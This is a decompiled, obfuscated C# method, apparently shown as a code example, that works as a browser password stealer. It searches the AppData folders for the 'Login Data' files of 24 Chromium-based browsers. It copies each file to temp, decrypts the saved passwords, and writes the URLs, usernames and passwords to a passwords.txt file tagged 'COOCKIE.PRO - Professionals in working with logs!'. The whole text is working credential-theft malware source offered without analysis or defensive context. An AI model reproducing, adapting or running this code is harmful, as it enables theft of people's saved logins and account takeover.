예제 #1
0
 // Token: 0x060001E0 RID: 480 RVA: 0x0000ECD8 File Offset: 0x0000CED8
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>();
         list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
         list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 foreach (string text in Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories))
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class7 @class = new Class7(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class21.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class22 class2 = new Class22
                                                 {
                                                     String_0 = @class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""),
                                                     String_1 = @class.method_0(num, 3),
                                                     String_2 = text4,
                                                     String_3 = string_
                                                 };
                                                 string  str     = Class21.string_0;
                                                 string  newLine = Environment.NewLine;
                                                 Class22 class3  = class2;
                                                 Class21.string_0 = str + Convert.ToString(newLine + ((class3 != null) ? class3.ToString() : null));
                                                 Class21.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(GClass9.string_6 + "\\passwords.txt", (Class21.string_0 != null) ? ("COOCKIE.PRO - Professionals in working with logs! " + Environment.NewLine + Class21.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }